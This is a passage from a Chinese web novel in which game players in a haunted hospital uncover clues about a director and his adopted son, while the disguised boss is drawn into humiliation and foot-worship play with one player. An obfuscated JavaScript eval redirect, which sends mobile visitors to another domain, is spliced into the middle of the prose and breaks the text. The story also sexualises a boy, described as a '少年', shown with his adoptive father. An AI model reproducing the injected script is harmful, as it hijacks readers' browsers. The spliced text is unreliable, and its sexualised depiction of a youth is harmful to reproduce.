“哒,哒,哒。”
几人的脚步声由远及近,眼看,已经来到了拐角处。
罗荔在这时候才感觉到紧张。
康驯现在做这种事,要是被别人看见了,他可解释不清楚。
他一向脸皮薄,此时此刻,耳廓不由得被一抹红意浸透。
嘴上还要故作大度:“行了行了,你,你起来吧。”
不留神瞄到康驯的病重值,已经快到70了。
都涨了这么多,要不然,还是见好就收吧……
害怕康驯会因为迟迟得不到药而大发雷霆,罗荔赶紧掏出一粒药,递给他。
青年犬齿碾着唇瓣,还是没动作。
罗荔不明所以,难道他是不相信这是真药?
“你没养过狗吗?”007的声音在耳边响起,“养狗的人家,都要训练狗,在没听到可以吃的指令之前,是不能吃的。”
“而且,这是你给他的奖励。你得让他知道,奖励是来之不易的才行。”
007顿了一下,“你把药扔地上。”
这也太过分了。
罗荔可没有真的把康驯当狗,他也做不出来这么羞辱人的事。
而且莫名觉得,007教他这么做,隐隐掺了点私人恩怨的味道。
不对不对。罗荔在心里飞快打消了这个念头。
哪来的私人恩怨,他们彼此都不认识。
所以他只是颤着泛粉的指尖,有点怂怂的,把药片推到了康驯嘴边。
恰在此时,一个熟悉的声音传来。
“你们怎么在这儿?”
凌屿持着手电筒,一转身,光打在拐角墙面上。
罗荔吓了一跳,手腕一抖,药片掉在了地上。
随后赶来的安德烈和陆妍妍都登上了最后一级台阶,在凌屿手电筒的灯光下,看见了半跪在地上的康驯。
凶悍恶劣的桀骜杀手,绷起青筋的双手撑着地板,弯下腰来,匍匐在地。
干燥唇瓣张开一些,叼起地上的药片。
但他还是没有咽下去。
因为没有得到罗荔允许他吞咽的指令。
可是罗荔完全呆住了,早就把指令什么的都抛在了脑后。
陆妍妍惊叫一声:“康驯!你,你这是在做什么!”
伴随着她的惊呼,警报声再次响起,伴随着倒计时归零,大逃杀结束。
没来得及咽下的药片也瞬间化为乌有。
康驯到最后也没吃到。
凌屿眯起狭长双目,他已经隐约意识到康驯刚刚是在干什么。攥着手电筒的指骨暗暗收紧,出声讥讽:“果然是特立独行的杀手,办事风格还真是独树一帜。我们在那里找线索,你倒好,在这儿……给人当狗耍。”
康驯缓缓站起身来,他身高优越,垂下狼眼,俯视着罗荔的时候,威慑力压得人喘不过气来。
罗荔顿时怂了,什么任务都顾不上了,小声辩解:“我没,没有……”
他怯怯地瞄了康驯一眼,对方桀骜不驯的面孔上冷得能结出冰碴。
不知过了多久,康驯那冷刀似的目光终于从罗荔身上移开,转过身扫视众人,“线索?既然找到了线索,还在这里浪费时间?”
按照这个副本的流程,玩家收集线索之后,需要尽快核对。
陆妍妍小声道:“是,是啊。我们还是别在这儿耽搁太久了。”
凌屿又缓慢扫视了罗荔一眼,挑起眉峰。
“好啊。”
“那就不浪费时间了。”
几人纷纷转身离去。罗荔脊背贴着冰冷墙面,感觉被长发遮盖的后颈渗出了一层薄薄冷汗。
他们对线索,自己这个装成NPC的boss当然不用掺和。
所以这是,被放过了吗?
“我劝你最好别这么容易就松懈下来。”
众人走后,007开口,“他们这一次可是拿到了很关键的线索。你确定要放着他们不管?”
玩家们拿到越多的线索,就意味着罗荔越有可能露馅。
“那,我该怎么办呀?”
007默了片刻,“去偷听吧。他们现在马上就要到休息室了。”
……
空荡荡的休息室内,几个人并排坐下。
医院内各种陈设都十分老旧,因此休息室的大门虽然关上,但是隔音效果并不好。罗荔一路小跑赶来,蹑手蹑脚地在门口停下,正好听见里面有说话声传来。
透过门缝,可以瞧见里面坐着的几名玩家。
“我找到了一些有关阿伽门农院长的报道。”
说话的是一个金发碧眼的青年,罗荔是第一次见到他。
【玩家:安德烈】
【病症:暂未探明(20)】
好低的病重值!
安德烈看上去的确比其他玩家要正常的多,穿着橄榄绿的飞行夹克,一头半长金黄卷毛用发带束起,怎么看都是个嘴甜混得开的美国富家大学生。
他拿出来几张旧报纸,上面刊登着醒目的新闻。
第一张:退役少将阿伽门农于近日出席酒会,据称会在半年后接管旧军医医院。
第二张:阿伽门农院长收留战争孤儿,并表示会将其好好抚养长大。
“这座医院的院长阿伽门农,曾是一位颇有名望的军官,但是因为早年在战争中的冷酷行径,一直饱受社会争议。”
报纸上这么写着:“但在收留敌国孤儿Lori之后,他的名声有了极大改善,弥赛亚医院也因此改焕生机。”
看完这几张以后,安德烈放下最后一张报纸,上面的内容触目惊心。
“惊天丑闻!阿伽门农被爆与养子存在不正当关系,‘善人善举’的背后,竟暗藏虎狼之心!”
陆妍妍仔细看完这些报道,还是一头雾水。
通过这些信息,她只能推断出很零碎的内容。比如阿伽门农是退役军官,收养了一名战争遗孤做养子,后来又和这位养子发生了丑闻。
至于这养子的身份,就不清楚了。
紧接着,凌屿将自己找到的照片拿了出来。
那是半张老旧的照片,上面是一名冷峻英挺的军官。
旁边还有一个人,准确的说,那个人是坐在了他的怀里。
一名身材娇小的少年被男人抱在膝盖上,可通过他搭在男人肩膀上收紧的手指也能看出,二人此刻正在激吻。
那位军官很显然就是阿伽门农院长。只不过,因为照片只有一半,能看得见少年容颜的那一半被撕去了,谁也不知道他怀里的男孩究竟是谁。
照片上的男人完全没了人前的冷峻稳重,死死把少年搂入怀中,手指按紧他的脖颈,不要命地亲。
少年柔软白皙的双腿大敞,膝盖夹着男人的腰,足尖点不到地面,整个人都要化成一滩春水的模样。
看不见脸,但就这样娇小柔软的体型来说,都让他们想到了同一个人。
那个奇怪的小护士罗荔。
只不过,罗荔一直是以女孩子的形象出现,但无论是照片还是报道,都明确表明阿伽门农的养子是个男孩。
凌屿说:“还记得安德烈在罗荔那里找到的情.趣内衣么?那上面的金色刺绣,就是阿伽门农院长的名字。”
结合他们进入游戏前已经了解到的背景故事,养子本身对院长就有着畸形的爱,以至于不惜男扮女装勾引院长。
如果将这些片段串联起来,不难推理出一种可能:罗荔就是Lori,他是男扮女装,是因为爱而不得所以囚.禁了养父的那个养子。
陆妍妍头皮一阵发麻。
要真是这样,也太恶心了。
这个心理畸形的养子,甚至还把父亲的名字缝在了自己的内裤上……
是出于什么变态心理?
她身体有些发抖,大着胆子说:“这么说的话,会不会,他是故意的啊?勾引了院长,引诱他强吻自己,还故意让人拍下照片,好让院长身败名裂……”
她的语气也不很确定。
毕竟那个小护士水杏眼,黑长直,笑容有些羞怯,完全是一副温柔乖巧的好学生模样。
谁能相信,他会在媒体的镜头下,和男人吻得那么情.色。
可是,军人最在乎自己的名誉,更何况是阿伽门农这种级别的军官。
他真的有那么莽撞,以至于宁愿什么都不顾了,也要在众目睽睽之下做出这种事?
安德烈皱起眉头:“现在下定论是不是还太早了,我觉得那个护士妹妹不像是这种人。”
“不是吗?”
凌屿捏着那张照片,细细凝望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723226|173928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着照片上坐在军官膝头的少年,意味不明地勾了下唇角。
“……腿张这么开,怎么看,也不像是不情愿的。”
……罗荔在外面,心已经提到了嗓子眼儿。
众人距离看穿他的真实身份只有几步之遥,感觉一切都要完蛋了。
这下该怎么办?
就在这时,又听见安德烈说:“现在还差一个关键线索。康,你有什么发现吗?”
副本内的线索环环相扣,需要众人合力解开真相。现在如果还剩下一个决定性的线索,就只能是在康驯手里了。
关键就在于,被撕去的那另外半张照片。
“我找到了一本病历。”康驯说,“不过回来的时候出了点意外,病历落在外面了。你们要是不着急,我可以回去取。”
他都这么说了,也只能让他回去取。
康驯站起身来,拉开休息室的大门。没走几步,就在拐角处,发现了偷听的小护士。
罗荔知道被发现,但是他没有逃。
他不能让康驯取回关键线索。
必须……阻止他才行。
“你,你不许去。”
罗荔鼓起全部的勇气把他拦下。康驯的目光斜睨过来,看见他之后,停下脚步。
依旧是一身凌厉逼人的戾气,一步步走近他。
罗荔本来还想端起之前的架子,使出一点气势来命令他。但是一抬头就看见康驯脖颈上凸起的筋络,宽阔双肩展平,鼓起的肌肉收紧,满脸恶劣不耐烦。
半点也看不出来是个患有受虐癖的病人,更不像是会对罗荔言听计从的模样。
自己要是再像之前一样对他,和找死有什么区别。
康驯弯下腰,目不转睛地盯着他:“你是在命令我吗?”
罗荔泛红的唇肉紧抿,卷翘睫毛一簇一簇地乱颤,不敢吭声。
“之前你没有给药,以为我还会听你的话么?”
养狗的人都知道,想教狗做事,必须给奖励。
但那片药他没能吃到,所以,罗荔想当主人,是不称职的。
罗荔立刻反驳:“我给你了,是你自己不咽的!”
他忘了一件事,和狗讲道理是讲不通的。它们只认到嘴的奖励。
康驯不依不挠,手指扯了一下领口,“我没时间和你掰扯。你如果不想让我把病历本拿回来,就补给我奖励。”
舌尖舔舐了一下唇角,“要不然,就别想让我听话了。”
罗荔的指尖不自主地绞紧,手指不断绕着垂在腰间的一缕长发。因为羞愤,粉白的耳垂都被红色浸透,粉嫩鼻尖不自主地耸动着,一副被欺负得想哭的样子。
“你,你想要什么……奖励。”
康驯打量四周,看到不远处有间腾空出来的废弃病房。
“跟我过来。”
推开病房大门,罗荔刚走进去,大门便被康驯在背后死死关上。
里面一片漆黑,开关按下,只有一盏灯能打开。
惨白的灯光勾勒出青年健硕的体型,他拉来一张椅子坐下,浓黑的狼眼低低挑起锋利弧度。
罗荔一瞬间想到了很多种糟糕的后果,在这里的话,谁也不会知道康驯对他做了什么……
青年忽然开口:“鞋脱了,踩我。”
罗荔:……?
康驯双手交叉,眼底透出一丝猩红的光。
他头顶的病重值,再一次开始疯狂飙升。
饥饿的目光里透着浓浓的渴求,一点一点,将小护士白色丝袜下的两条美腿包裹。
“踩人,你不会吗?”康驯一字一顿,“踩我的脚,腿,或者脸——哪里都行。趁现在还有时间,你最好快一点。”
罗荔足踝一颤,险些要站不稳。
不知做了多大的心理斗争,他终于缓缓弯下腰,解开了小皮鞋的搭扣。
忍着羞耻,将小腿抬起一些,试探着,踩在了康驯的靴尖上。
青年穿着沉重的皮革马丁靴,表面做旧,缀满钝头的铆钉和复杂的搭扣。
靴子足足比罗荔的小脚丫大了两圈,棕黑粗糙的皮革上,是雪白干净的白丝袜。
强烈的颜色冲击撞进视野,康驯的呼吸顿时停滞。
“用力。”他用干哑的声音说,“怎么踹狗,就怎么踹我。”